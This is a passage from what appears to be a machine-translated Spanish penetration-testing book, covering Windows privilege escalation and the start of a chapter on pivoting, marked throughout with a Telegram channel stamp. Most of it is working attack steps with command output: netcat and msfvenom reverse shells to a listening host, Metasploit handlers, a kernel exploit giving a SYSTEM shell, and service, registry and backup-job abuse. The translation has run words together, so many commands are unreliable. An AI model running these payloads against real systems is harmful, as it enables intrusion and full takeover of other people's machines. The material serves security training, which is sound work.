root@kali:~#nc-lvp1111<test.txt
escuchando[cualquiera]1111…
En Ubuntu:
gus@ubuntu:~$ nc172.16.0.1021111>test.txt ^C gus@ubuntu:~$
ls DesktopDescargasVideos DocumentosmailcowdockerizedPicturestemptest.txt
Música
PublicTemplates
WindowsSistemaExplotación
El objetivo principal de este capítulo es obtener un shell de administrador.
En Windows, puede ir más allá de una cuenta de administrador y obtener
una cuenta SYSTEM en su lugar. Si ese es el caso, entonces tendrá acceso
total al host de Windows de destino.
Las cuentas de usuario se utilizan en el sistema operativo Windows para permitir que los humanos inicien sesión en el
host (por ejemplo, la cuenta de usuario administrador).
Las cuentas de servicio son utilizadas por los servicios del sistema operativo y
generalmente tienen un permiso de alto privilegio (por ejemplo, la cuenta SYSTEM).
Los grupos se utilizan para agrupar cuentas de usuario. Un buen ejemplo es el
grupo Administradores, que contiene todas las cuentas de usuario con privilegios
de administrador. Es más fácil administrar un grupo de usuarios en lugar de manejar
cada uno (esto es útil en organizaciones grandes donde tienen miles de empleados
para administrar).
Los recursos son los elementos físicos a los que cada grupo o usuario necesita acceder,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
como lo siguiente:
archivos
carpetas
Servicios
Los permisos o listas de control de acceso (ACL) son las reglas que definen quién tiene acceso a
qué. Una ACL típica se parece a la Figura 11.1 en el sistema operativo Windows.
Figura 11.1 Permisos de Windows
WindowsKernelExploits
Como aprendió en el capítulo anterior, el kernel es el núcleo del sistema operativo. Una vez que
explota el kernel, tiene la propiedad total del sistema (ya sea Windows o Linux). Para hacer el trabajo,
podemos usar la misma metodología que usamos para el sistema operativo Linux:
1. Obtenga la versión del sistema operativo.
2.Encontrarexplotación coincidente.
3. Transfiera el exploit a un directorio donde tenga permisos de escritura (usted
Canal de Telegram : @IRFaraExam
Machine Translated by Google
puede necesitar compilarlo antes de transferirlo).
4. Ejecute y disfrute del shell raíz.
Obtención de la versión del sistema operativo
En esta etapa, estamos conectados de forma remota a un host de Windows 7 usando un número limitado
shell. A continuación, ejecute el comando system info para ver los detalles sobre el funcionamiento
sistema:
C:\Usuarios\Gus\Documentos> info del sistema |findstrOS
información del sistema|findstrOS
Nombre del
SO: Versión del
MicrosoftWindows7Professional
6.1.7601ServicePack1Build7601
SO: [[]
FindaMatchingExploit
El desafío en este paso es encontrar la explotación correcta.
resultado, puede usar una herramienta llamada wesng (Windows Exploit Suggester) en su
KalihostparavisualizarcandidatosparaestetipodeSO.Puedeobtenerwes.py _
fromtheGitHubrepoat github.com/bitsadmin/wesng/blob/master/wes.py.
Primero, ejecute el comando de información del sistema sin filtrar primero. Luego , copie
la salida a un archivo sysinfo.txt en Kali . Finalmente, use la herramienta wes.py para verificar
paracualquierexplotación:
root@kali:~# pythonwes.pyÿ actualizar
root@kali:~# pythonwes.pysysinfo.txtÿi'ElevationofPrivilege'ÿÿexploitsÿonly
WindowsExploitSuggester0.98(https://github.com/
bitsadmin/wesng/)
[+]Salida de información del sistema de análisis
[+]Sistema Operativo
-Nombre:
Basado en Windows7forx64
Sistemas
Paquete de servicio17
-Generacion:
-Construir:
-Versión:
-Arquitectura:
-Revisiones instaladas(3):
KB976902
[+]Cargando definiciones
-Fechadecreacióndedefiniciones:
7601
Ninguna
basado en x64
KB2534111, KB2999226,
20200902
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[+]Determinación de parches faltantes
[+]Aplicación de filtros de visualización
[+]Vulnerabilidades encontradas
Fecha:
CVE:
KB:
Título:
Núcleo de Windows
20161108
CVE-2016-7216
KB3197867
Actualización de seguridad para
Basado en Windows7forx64
Producto afectado:
Sistemas
Service Pack 1
Componente afectado:
Gravedad: Impacto: Exploit:
db.com/exploits/40766/
Importante
ElevationofPrivilege
https://www.explotar
[…]
Los resultados de salida son abrumadores, y tratando de entender el PoCon
exploitÿdb es complicado. La forma más fácil de usar uno de los siguientes PoC
repositorios en GitHub:
github.com/SecWiki/windows-kernel-exploits
Uno de los elementos, “CVEÿ2018ÿ8120”, está en la lista de GitHub, por lo que lo usaremos en
los siguientes pasos.
Ejecutar la carga útil y obtener un RootShell
Todo lo que tiene que hacer es descargar x64.exe desde GitHu y transferirlo al
host de Windows usando su caparazón limitado. Utilicé Chromium para descargar el archivo en
Kali, solo usemos netcat (que ya transfirí al host de Windows) para
spawnanewrootshell.
Primero, desde Kali, escuche las conexiones entrantes en el puerto 3333:
raíz@kali:~# ncÿnlvp3333
escuchando[cualquiera]3333…
En el shell limitado de Windows, conéctese al puerto de escucha usando el privilegio
archivo de escalación ( x64.exe ) que descargó de GitHub:
C:\Usuarios\Gus\Documentos>x64.exe "nc.exeÿnv172.16.0.1023333ÿecmd.exe"
x64.exe "nc.exe-nv172.16.0.1023333-ecmd.exe"
CVE-2018-8120exploitby@unamer(https://github.com/unamer)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[+]Getmanageratfffff900c0884c90,workeratfffff900c29ba3d0 [+]Activando
vulnerabilidad…
[+]Sobrescribiendo…fffff80002c58c68
Cuando regrese a la ventana de Kaliterminal, debe tener un shell raíz:
root@kali:~#nc-nlvp3333
escuchando en[cualquier]3333…
conectarse a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.101]49219
MicrosoftWindows[Versión 6.1.7601]
Copyright(c)2009MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\Gus\Documentos>whoami
whoami ntauthority\system
TheMetasploitPrivEscMagic
Metasploit es una funcionalidad con privilegios elevados que le permite hacer el trabajo
fácilmente. Esto sonará como una herramienta de script para niños, pero es efectiva y
personalmente la uso con frecuencia para encontrar exploits de kernel. Estos son los pasos
necesarios para que esto funcione:
1.GetaMeterpretershellprimero.
2. Intente ejecutar el comando getsystem (esto es aplicable a los sistemas operativos
Windows heredados x86).
3. A continuación, ejecute el módulo “local exploitsuggester”, que mostrará una lista de
los posibles candidatos.
4. Pruebe con cada uno y observe qué candidato pasará con éxito.
Comencemos. El primer paso es generar un pretershell de medidor usando
MSFvenomontheKalihost:
root@kali:~# msfvenomÿpwindows/x64/
meterpreter_reverse_tcpLHOST=172.16.0.102LPORT=3333ÿfexe>m_shell.exe
[-]Noseseleccionóningunaplataforma,eligiendoMsf::Module::Platform::Windowsfromthepayload
[-]Noarchselected,selectingarch:x64fromthepayload Noencoderspecified , emitiendo
carga útil sin procesar Tamaño de carga útil: 201283 bytes Tamaño final del
archivo exe: 207872 bytes
A continuación, comience a escuchar en Kaliusando el módulo controlador en Metasploit:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
msf5> useexploit/multi/handler
[*]Uso de la carga útil configuradagenérico/shell_reverse_tcp
msf5exploit(multi/controlador)> setPAYLOADwindows/
x64/meterpreter_reverse_tcp
PAYLOAD=>windows/meterpreter/reverse_tcp
msf5exploit (multi / controlador)> setLHOST172.16.0.102
LHOST=>172.16.0.102
msf5exploit(multi/controlador)> setLPORT3333
LPORT => 3333
msf5exploit(multi/controlador)> setExitOnSessionfalse
ExitOnSession=>falso
msf5exploit(multi/handler)> exploitÿjÿz
[*]Exploitejecutándose como trabajo en segundo plano0.
[*]Exploitcompletó, pero no se creó ninguna sesión.
msf5exploit(multi/handler)>[*]StartedreverseTCPhandleron172.16.0.102:3333
En esta etapa, transfiera el archivo m_shell.exe al host de Windows y ejecútelo
use un usuario limitado. Volviendo al oyente, debería ver que tiene un
conexión exitosa:
msf5exploit(multi/controlador) > exploit-jz
[*]Exploitejecutándose como trabajo en segundo plano0.
[*]Exploitcompletó, pero no se creó ninguna sesión.
[*] IniciadoreverseTCPhandleron172.16.0.102: 3333msf5exploit (multi /
handler)> [*] Meterpretersession1abierto (172.16.0.102:3333-> 172.16.0.104:50536)
en2020-09-0413: 09: 14-0400
[*]Meterpretersession2 abrió (172.16.0.102:3333->172.16.0.101:49159) a las
2020-09-0413:10:28-0400
msf5exploit(multi/handler)>sesiones
Sesiones activas
===============
Identificación
--
Nombre
----
Escribe
----
Información
-----------
1
Conexión
----------
meterpreterx86/windowsWINDOWS10LAB\Gus@WINDOWS10LAB
172.16.0.102:3333->172.16.0.104:50536(172.16.0.104)
2
meterpreterx64/windowsWin7Lab\[email protected]:3333ÿ
>172.16.0.101:49159(172.16.0.101)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
msf5exploit(multi/manejador)>
¡Impresionante! Para este ejercicio, nos interesa la segunda sesión en el host de Windows
7. A continuación, inicie la sesión previa del medidor interactivo e intente obtener también la versión
del sistema operativo:
msf5exploit(multi/handler)> sesionesÿi2 [*]Iniciando interacción con
2…
meterpreter> sysinfo
Computadora: WIN7LAB: Windows7
(6.1Build7601, ServicePack1).
Arquitectura
sistema operativo:x64
Idioma del sistema:en_US
Dominio
:GRUPO DE TRABAJO
Usuarios registrados: 1: x64/
windows
Medidorpretermetropreter>
Tenga en cuenta que el preter del medidor x64 se ejecuta en una versión de Windows x64. Siempre es
una buena práctica generar una carga útil del preter del medidor con la misma arquitectura que el host
de destino. A continuación, ejecute el método getsystem :
meterpreter> getsystem
[-]priv_elevate_getsystem:Error en la operación:El entorno es incorrecto.Se intentó lo siguiente:
[-]Suplantación de tubería con nombre (en memoria/administrador)
[-]Suplantación de identidad de canalización con nombre (cuentagotas/administrador)
[-]TokenDuplication(InMemory/Admin)
Es normal que la operación haya fallado porque el método getsystem
funciona en el sistema operativo Windows x86 heredado (por ejemplo,
Windows 2003/XP).
meterpreter> background
[*]Backgroundingsession2… msf5exploit(multi/
handler)> usepost/multi/recon/
local_exploit_suggester msf5post(multi/recon/
local_exploit_suggester)> setsession2 session=>2 msf5post(multi/recon/local_exploit_suggester)>
ejecutar
[*]172.16.0.101-Recopilación de exploits locales para x64/windows…
[*]172.16.0.101-17exploitschecksareintesting…
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[+]172.16.0.101-exploit/windows/local/bypassuac_dotnet_profiler:Elobjetivopareceservulnerable.
[+]172.16.0.101-exploit/windows/local/bypassuac_sdclt:Elobjetivopareceservulnerable.
Las versiones nil se desaconsejan y quedarán en desuso en Rubygems4
[+]172.16.0.101-exploit/windows/local/ms10_092_schelevator:Elobjetivopareceservulnerable.
[+]172.16.0.101ÿexploit/windows/local/ms16_014_wmi_recv_notif:Elobjetivopareceservulnerable.
[*]Ejecución del módulo posteriorcompletada
msf5post(multi/recon/local_exploit_sugester)>
Mirando la última piedra en la lista, parece que es la más reciente, así que
Úselo para esta demostración. (Probé los otros, y todos fallaron).
msf5post(multi/recon/local_exploit_sugester)>usar exploit/windows/local/
ms16_014_wmi_recv_notif
[*]Sin carga útil configurada, por defecto en windows/x64/
meterpreter/reverse_tcp
msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setpayloadwindows/x64/
meterpreter_reverse_tcp
[-] El valor especificado para la carga útil no es válido.
msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setsession2
sesión=>2
msf5exploit (ventanas/local/ms16_014_wmi_recv_notif)> setLHOST172.16.0.102
LHOST=>172.16.0.102
msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setLPORT4444
LPORT => 4444
msf5exploit(windows/local/ms16_014_wmi_recv_notif)> ejecutar
[*]Se inició el controlador TCP inverso en 172.16.0.102:4444[*]Iniciando el
bloc de notas para alojar el exploit...
[+]Lanzamiento del Proceso 2604.
[*]Inyectando reflexivamente el archivo DLL de explotación en 2604...
[*]Inyectandoexplotaciónen2604…
[*]Exploitinjected.Injectingpayloadinto2604…
[*]Carga útil inyectada. Ejecutando explotación...
[+] Explotación finalizada, espere a que se complete la ejecución de la carga útil (con
suerte con privilegios).
[*] Etapa de envío (201283 bytes) a 172.16.0.101
[*]Meterpretersession3abierto(172.16.0.102:4444>172.16.0.101:49160)en2020-09-0413:25:03-0400
metropreter>presenciado
Nombre de usuario del servidor: NTAUTHORITY\SYSTEM
Canal de Telegram : @IRFaraExam
Machine Translated by Google
metro preter>
Tenemos una cuenta del sistema. ¡Eso es siete mejor que una cuenta de administrador!
Explotación de aplicaciones de Windows
Las aplicaciones pueden instalarse en los sistemas operativos Windows y luego ejecutarse
con privilegios de administrador/sistema. Cada aplicación se explotará de manera diferente,
pero el objetivo es el mismo (obtener una cuenta de administrador local).
1.IdentifiquelasaplicacionesyainstaladasenelsistemaWindowslocal.
2. Comparta y descubra si hay algún exploit en Internet.
3. Aplique las instrucciones que se enumeran en la PoC de explotación.
La forma más fácil de enumerar las aplicaciones instaladas en el sistema operativo Windows es
navegar por el directorio Archivos de programa y buscar una aplicación que suene una campana.
Ya estoy conectado a un host a través de una sesión RDP con el usuario limitado gus.
La inspección de la carpeta Archivos de programa (x86) muestra que una aplicación personalizada
llamada Iperius Backup ya está instalada en el sistema local (consulte la Figura 11.2).
Figura 11.2 Copia de seguridad de Iperius
Mi siguiente desafío es determinar la versión de este software. Al abrir la aplicación y
acceder a la pestaña Acerca de, se muestra que la versión instalada es 6.1.0, como se
muestra en la Figura 11.3. (Recuerde que nos estamos conectando a través de RDP, por lo que
tenemos acceso a la GUI).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 11.3 Ficha Acerca de Iperius
Buscando en el sitio web de exploitÿdb , encontré un buen candidato. Consulte la figura 11.4.
Figura 11.4 ExploitÿDB–IperiusExploitation
Siguiendo las instrucciones de la PoC, siga estos pasos (consulte la Figura 11.5): 1. Cree un
trabajo de respaldo.
2. Establezca el directorio de origen en la pestaña Elementos.
3.EstablezcaeldirectorioDestinos.
4. En la ficha Otro proceso, cree un script llamado evil.bat para ejecutar netcat
El script netcat contiene el siguiente código :
@echooff C:
\Usuarios\Gus\Documentos\Compartido\nc.exe172.16.0.1022222-ecmd.exe
Es hora de obtener el shell del administrador. En nuestro host Kali, ejecutaremos netcat en modo
de escucha en el puerto 2222. Una vez que el puerto de escucha se esté ejecutando, cambie al
host de Windows, guarde el trabajo de copia de seguridad y ejecute la unidad. Cuando regresemos
al host Kali, deberíamos tener un nuevo shell de administrador remoto:
Canal de Telegram : @IRFaraExam
.
Machine Translated by Google
Figura 11.5 Iperius– Evil.batConfig
root@kali:~# ncÿnlvp2222
escuchando[cualquiera] 2222… conectarse
a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.104]50451 MicrosoftWindows[Versión10.0.17763.1397]
(c)2018MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\Gus\Documentos\Compartido>whoami whoami
windows10lab\admin
CorriendoAsinWindows
Si está ejecutando un usuario con privilegios bajos y tiene credenciales
de administrador (el nombre de usuario y la contraseña), entonces puede
usar esas credenciales para aumentar su privilegio. La forma más práctica
es copiar un shell inverso primero (por ejemplo, netcat o uno generado
usando MSFvenom) .
En este ejemplo, primero iniciamos una escucha de netcat en Kalius usando el número de puerto
Canal de Telegram : @IRFaraExam
Machine Translated by Google
6666. A continuación, utilizando nuestro shell limitado, se conectará a este escuchando las
credenciales de administrador:
C:\Usuarios\Gus>C:\Windows\System32\runas.exe/env/noprofile/
user:admin"C:\Usuarios\Gus\Documentos\nc.exe172.16.0.1026666ÿeC:
\Windows\System32\ cmd.exe"
Ingrese la contraseña para admin:
Intentando iniciar C:\Users\Gus\Documents\nc.exe172.16.0.1026666-eC:
\Windows\System32\cmd.exe como usuario "WIN7LAB\admin"...
En Kali, usted debe ser un administrador:
root@kali:~# ncÿnlvp6666
escuchando en [cualquier] 6666…
conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.101] 49174 Microsoft
Windows [Versión 6.1.7601]
Copyright(c)2009MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\Gus>whoami
whoami win7lab\admin
PSExecTool
La utilidad de línea de comandos de PSExec es similar a ejecutar como ejecutable. Puede
obtener una copia de PSExe en la siguiente ubicación:
docs.microsoft.com/en-us/sysinternals/downloads/psexec
La diferencia entre esta herramienta y runas.exe es que tendrá más opciones y flexibilidad
con PS Exec. Un ejemplo sería si ya tiene un shell limitado en el host de Windows de destino.
Aquí, encontró las credenciales de la cuenta de administrador (el nombre de usuario es admin
y la contraseña es contraseña 123 ). En esta etapa, puede usar MSFvenom para generar un
caparazón inverso y luego iniciar su escucha en Kalihost:
$msfvenomÿpwindows/x64/shell_reverse_tcpLHOST=172.16.0.102LPORT=1111ÿ
fexeÿoshell_reverse.exe
Inicie el oyente usando netcat :
$ncÿnlvp1111
Cuando volvamos a nuestro símbolo del sistema limitado de Windows, debemos transferir
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el archivo shell_reverse al host de Windows. Después de eso, podemos ejecutarlo con PSExecutility
para obtener un shell raíz:
C:\herramientas> PsExec64.exe/accepteulaÿiÿuadminÿppassword123C:
\herramientas\shell_reverse.exe
En esta etapa, debemos obtener un shell de administración en la sesión de escucha de Kali.
Explotación de servicios en Windows Los servicios en
el sistema Windows son como demonios en el sistema operativo Linux. Ejecutan tareas en segundo
plano y, la mayoría de las veces, se ejecutan con privilegios de SISTEMA (lo que nos brinda otra
forma de lograr un shell del sistema).
Interactuar con los servicios de Windows
Tendremos que interactuar con los servicios de Windows a través de la línea de comandos (ya que
tenemos un shell limitado). Para hacer el trabajo, nos encontraremos con los siguientes comandos
populares:
#ToListtheconfigurationofaservice C:
\>sc.exeqc[servicename]
#Paraeditarlaconfiguracióndeunservicio C:
\>sc.execonfig[nombre del servicio][configuración]=[nuevo valor]
#ParaPararservicio C:
\>sc.exestop[nombreservicio]
#ParaIniciarunservicio C:
\>sc.exestart[nombreservicio]
#Obtenerelestadodeunservicio C:
\>sc.exequery[nombre del servicio]
Permisos de servicio mal configurados
En este escenario, estamos buscando servicios con los permisos incorrectos. En otras palabras,
queremos un servicio en el que nosotros (usuarios limitados) tengamos permiso para cambiar su
configuración. Estas son las dos configuraciones comunes que deberían permitirnos anular un servicio
(permitiéndonos obtener un shell remoto):
SERVICIO_CAMBIO_CONFIG
SERVICIO_TODO_ACCESO
Por lo general, puede usar una herramienta automatizada para encontrar un servicio mal configurado.
Más adelante en este capítulo, aprenderá acerca de algunas de las herramientas comunes, pero por el
momento, concéntrese en el principio de su funcionalidad.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Por ejemplo, la herramienta automatizada encontrada en un servicio configurado llamado miss_svc
. En su símbolo del sistema, use la utilidad sc.exe para consultar su configuración:
C:\Usuarios\LowPrivUser>sc qcmiss_svc
[SC]QueryServiceConfigÉXITO
NOMBRE_SERVICIO:miss_svc
:10WIN32_PROPIO_PROCESO
START_TYPE
:3DEMAND_START
ERROR_CONTROL:1NORMAL
ESCRIBE
BINARY_PATH_NAME:"C:\ProgramFiles\Services\test_service.exe"
LOAD_ORDER_GROUP:
ETIQUETA
NOMBRE PARA MOSTRAR
:0
:MissServicio
DEPENDENCIAS:
SERVICE_START_NAME:Sistema local
Tenga en cuenta las dos configuraciones importantes en los resultados anteriores. La
primera opción BINARY_PATH_NAME muestra la ruta al ejecutable del servicio. Más tarde,
anularemos esta configuración para ingresar la ruta a nuestro shell inverso.
, y su valor es revelar que este servicio se está ejecutando como
Cuenta del sistema
SERVICE_START_NAME .
A continuación, inspeccionaremos los permisos de LowPrivUser para este servicio utilizando la
utilidad accesschk.exe :
C:\Users\LowPrivUser>accesschk.exe /accepteulaÿuwcqvLowPrivUsermiss_svc RWmiss_svc
SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_START SERVICE_STOP
¡Impresionante! De acuerdo con la salida anterior, tenemos el permiso para cambiar la
configuración del servicio, y además de eso, podemos iniciarlo y detenerlo.
Tenga en cuenta que es importante que podamos iniciar y detener el servicio o, de lo contrario,
tenemos que esperar a que la máquina se reinicie para que nuestros cambios surtan efecto y
obtener el shell inverso (es decir, si el servicio se inicia automáticamente; si es manual, entonces
nuestros cambios no tendrán ningún efecto en absoluto).
Ahora es el momento de cambiar la configuración del servicio para que apunte a nuestro shell inverso:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
C:\Users\LowPrivUser>scconfigmiss_svcbinpath="\"C:
\Users\LowPrivUser\root_shell.exe\""
En esta etapa, puedo iniciar la escucha en mi host Kali. Luego podemos reiniciar el servicio
para llamar a nuestro shell inverso (además, obtener un shell del sistema en nuestro host Kali):
C:\Users\LowPrivUser>sc stopmiss_svc
C:\Users\LowPrivUser>sc startmiss_svc
Anulación del ejecutable del servicio En el
ejemplo anterior, teníamos los permisos para cambiar la configuración del servicio.
Supongamos que no tiene esos permisos ( SERVICE_CHANGE_CONFIG ), pero tiene el
permiso para cambiar el ejecutable del servicio. En otras palabras, tiene el permiso de escritura
para el propio archivo:
C:\Archivos de programa\Servicios\test_service.exe
Para verificar los permisos de un archivo, puede usar la utilidad access check.exe :
C:\herramientas>accesschk.exe/accepteulaÿquvw"C:
\ProgramFiles\Services\test_service.exe"
Si ese es el caso (usted tiene los permisos de escritura), también necesita sobrescribir
test_service.exe con su shell inverso (debe tener el mismo nombre). Después de copiar el
ejecutable de shell inverso, entonces inicie su escucha en Kali y finalmente reinicie el servicio.
Ruta de servicio sin comillas
Antes de explotar esta falla, debe conocer algunos conceptos básicos de los ejecutables
del sistema Windows. En Windows, puede ejecutar archivos .exe de dos maneras diferentes.
La primera es usando el nombre completo del ejecutable, por ejemplo:
C: \> programa.exe
Además, algunos programas aceptarán argumentos adicionales:
C:\>ping.exe10.0.0.1
La segunda forma de ejecutar programas es eliminando la extensión .exe si el programa
está en la variable PATH de Windows:
C:\>ping10.0.0.1
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En este escenario de ejemplo, no tenemos permiso para cambiar la configuración (a diferencia del
caso anterior). Por lo tanto, el objetivo es engañar a la ruta para ir al ejecutable del servicio en
nuestro shell inverso. Suponiendo que el administrador guardó el servicio en la siguiente ruta:
C:\Archivos de programa\AdminServices\svctest\service.exe
el sistema operativo tratará la ruta anterior como cuatro cadenas diferentes debido a los caracteres
de espacio:
C:\Programa
Archivos\Administrador
Servicios\servicio
prueba\servicio.exe
Para este exploit, apuntaremos al servicio llamado usvc :
C:\Users\LowPrivUser>scqcusvc
[SC]QueryServiceConfigÉXITO
NOMBRE_SERVICIO:usvc
:10WIN32_PROPIO_PROCESO
ESCRIBE
START_TYPE
ERROR_CONTROL
:3DEMAND_START
:1NORMAL
BINARY_PATH_NAME:"C:\ProgramFiles\AdminServices\svc
prueba\servicio.exe" […]
A continuación, inspeccionaremos los permisos que tiene el usuario con privilegios bajos en
este servicio en particular:
C:\Usuarios\LowPrivUser>accesschk.exe /accepteulaÿuwcqvLowPrivUser
usvc
RWusvc
SERVICIO_CONSULTA_ESTADO
SERVICIO_QUERY_CONFIG
SERVICIO_INTERROGAR
SERVICIO_ENUMERAR_DEPENDIENTES
SERVICIO_START
SERVICIO_PARAR
Como puede ver, no tenemos permiso para cambiar las opciones de este servicio, pero tenemos
la opción de iniciarlo o detenerlo. Nuestro próximo objetivo es encontrar un directorio grabable
para guardar un shell inverso en él.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
C:\herramientas>accesschk.exe/accepteulaÿuwdq"C:\ProgramFiles\AdminServices\"
C:\ProgramFiles\AdminServices
MediumMandatoryLevel(Predeterminado)[Sin escritura]
RWBUILTIN\Usuarios
RWNTSERVICE\TrustedInstaller
RWNTAUTHORITY\SYSTEM
RWBUILTIN\Administradores
Todo lo que tenemos que hacer en esta etapa es realizar los siguientes pasos:
1. Copie el shell inverso en la carpeta C:\ProgramFiles\AdminServices\ y llámelo svc.exe porque
queremos aprovechar la variable de ruta Services\svc .
2. Comience a escuchar Kali.
3.Reinicieelservicio.
4.Getasystemshell.
Permisos de registro débiles
A veces, el servicio en sí está bien protegido y muestra que no tiene acceso para cambiar sus
configuraciones. El truco es buscar en otras partes, en las entradas del registro del sistema operativo
Windows. Tenga en cuenta que el registro de Windows es la base de datos de las configuraciones del
sistema Windows (por ejemplo, aplicaciones y servicios).
Para este ejemplo, la herramienta automatizada que estamos usando es WinPEAS (obtendrá más
información al respecto más adelante en este capítulo). La herramienta encontró que la siguiente
entrada de registro es vulnerable:
HKLM\Sistema\CurrentControlSet\Servicios\reg_svc
A continuación, inspeccionaremos los permisos mediante la herramienta habitual accesscheck.exe :
C:\herramientas>accesschk.exe/accepteulaÿ
uvwqkHKLM\System\CurrentControlSet\Services\reg_svc
[…]
RWNTAUTHORITY\INTERACTIVO
CLAVE_TODO_ACCESO
El grupo integrado NTAUTHORITY\INTERACTIVE tiene permisos de lectura y escritura.
Este grupo incluye a todos los usuarios que iniciaron sesión en el host físico (es por eso que el
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La herramienta WinPEAS detectó la falla).
Ahora que estamos listos para los permisos, inspeccionemos la entrada de registro de esta ruta:
C:\herramientas>consulta de registroHKLM \System\CurrentControlSet\Services\reg_svc
[…]
FilePathREG_EXPAND_SZ"C:\Archivos de
programa\Servicios\registryservice.exe"
DisplayNameREG_SZRegistryService
ObjectNameREG_SZLocalSystem
En esta etapa, todo lo que tenemos que hacer es anular el servicio de registro. exe mediante un
shell inverso :
C:\> regaddHKLM\SYSTEM\CurrentControlSet\services\reg_svc/v FilePath/
tREG_EXPAND_SZ/dC:\reverse_shell.exe/f
Estamos prácticamente listos para comenzar; los pasos restantes son los siguientes:
1. Inicie la escucha en Kali.
2. Reinicie el servicio mediante la línea de comandos.
3.Getasystemshell.
Explotación de las tareas programadas En el
capítulo anterior, vio cómo aprovechar los trabajos cron. En el sistema Windows, el
cron se llama Tareas programadas. Las tareas pueden ser programadas para que las ejecute
el propio usuario (por ejemplo, el administrador), y los usuarios con privilegios elevados
también pueden ejecutar tareas para otros usuarios. En general, para aprovechar esta
debilidad, deberá seguir estos pasos:
1. Busque manualmente un script sospechoso (probablemente sea un script de PowerShell).
2. Verifique el contenido (probablemente el contenido muestre que es una tarea programada en la
sección de comentarios).
3. Verifique sus permisos para ver si puede sobrescribirlo usando el
utilidad accesscheck.exe .
4. En caso afirmativo, sobrescriba el contenido con un caparazón inverso.
WindowsPrivEscHerramientas automatizadas
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Hay muchas herramientas automatizadas para el sistema de destino de Windows. Cada una tiene sus
propias ventajas y desventajas. Ahora que comprende cómo funciona la escalada de privilegios en
Windows, echemos un vistazo al conjunto de herramientas de automatización más popular.
Encender
El script PowerUp.ps1 es una utilidad que pertenece al kit de herramientas de PowerSploit.
Este script de PowerShell analizará e identificará cualquier configuración que falte en el
sistema Windows. Para descargar el script, puede obtenerlo de GitHub:
github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
Antes de ejecutar el script, debe comprender alguna información básica acerca de cómo
ejecutar los scripts de PowerShell. Para ejecutar el código de PowerShell, deberá usar
PowerShell, ¿verdad? ¿Qué sucede si tiene un shell limitado que usa un símbolo del
sistema? En el símbolo del sistema, puede anteponer la palabra clave powershell antes de
ejecutar el código .
C:\>powershellC:\herramientas\prueba.ps1
Además, tenga en cuenta que tendrá que cambiar la política de ejecución en PowerShell a Sin
restricciones antes de ejecutar el script de PowerUp . De manera predeterminada, Microsoft habilita
esta función para proteger a los usuarios de los scripts maliciosos de PowerShell:
C: \> powershellSet-ExecutionPolicy-ScopeCurrentUserExecutionPolicyUnrestricted-Force
Ahora podemos comenzar a ejecutar el script PowerUp . Primero, vamos a cargarlo
usando el siguiente comando:
C:\herramientas>powershell..\PowerUp.ps1
Luego, para ejecutarlo, cargue la función Invoke-AllChecks :
C:\herramientas>powershellInvoke-AllChecks
WinPEAS
Escalada de privilegios de
WindowsAwesomeScriptesunagranherramientaparalaescaladadeprivilegiosdeWindows.
github.com/carlospolop/privilege-escalation-awesome-scripts
Canal de Telegram : @IRFaraExam
Machine Translated by Google
suite/árbol/maestro/winPEAS
Tenga en cuenta que ya tiene una versión compilada ( archivo .exe ). Para descargar el
archivo .exe de 64 bits , use el siguiente enlace:
github.com/carlospolop/privilege-escalation-awesome-scripts suite/tree/master/
winPEAS/winPEASexe/winPEAS/bin/x64/Release
A continuación, antes de ejecutar la herramienta WinPEAS, puede agregar una entrada de registro
usando su línea de comando para agregar colores a la salida de WinPEAS:
C:\>regaddHKCU\Console/vVirtualTerminalLevel/tREG_DWORD/d1
Después de ejecutar el comando de entrada de registro anterior, debe cerrar la sesión de
Windows y volver a abrir un nuevo símbolo del sistema. En esta etapa, está listo para ejecutarlo.
En el siguiente paso, informará a la herramienta para ejecutar todas las comprobaciones
rápidamente y al mismo tiempo:
C:\>winpeas.exequietcmdfast
Resumen
Este fue un capítulo largo y complicado. No se dé por vencido si le resultó
difícil entenderlo; simplemente siga intentándolo una y otra vez. El
aprendizaje se trata de practicar los conceptos básicos repetidamente .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 12
PivotaciónyMovimientoLateral
Una práctica común en el movimiento lateral es buscar contraseñas
almacenadas y hashes después de establecer acceso remoto al host de
la víctima. El acceso remoto puede ser un shell limitado, una sesión de
escritorio remoto o, mejor aún, un shell de raíz/administrador. Dicho
esto, si está conectado con un usuario con pocos privilegios, entonces
su probabilidad de éxito será muy baja. ¿Por qué ? Los profesionales
en el campo usan los términos pivote y movimiento lateral indistintamente.
En este capítulo, usaremos los dos términos para hablar sobre el mismo
principio.
En este capítulo, obtendrá información sobre los siguientes temas para que pueda
pasar de un host a otro con facilidad:
Descripción de los hashes de contraseña de Windows
DumpingWindowspasswordhashes
Aprender sobre pasar el hachís
Conceptos de reenvío de puertos
Reenvío de puerto local
Reenvío de puerto remoto
Reenvío dinámico de puertos
DumpingWindowsHashes
En esta sección, aprenderá a extraer contraseñas hash de un host de
Windows.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
problemas técnicos (por lo que usarán sus credenciales en el host donde desean
ejecutar su trabajo). Además, tenga en cuenta que las personas tienden a reutilizar
sus contraseñas para diferentes tipos de cuentas.
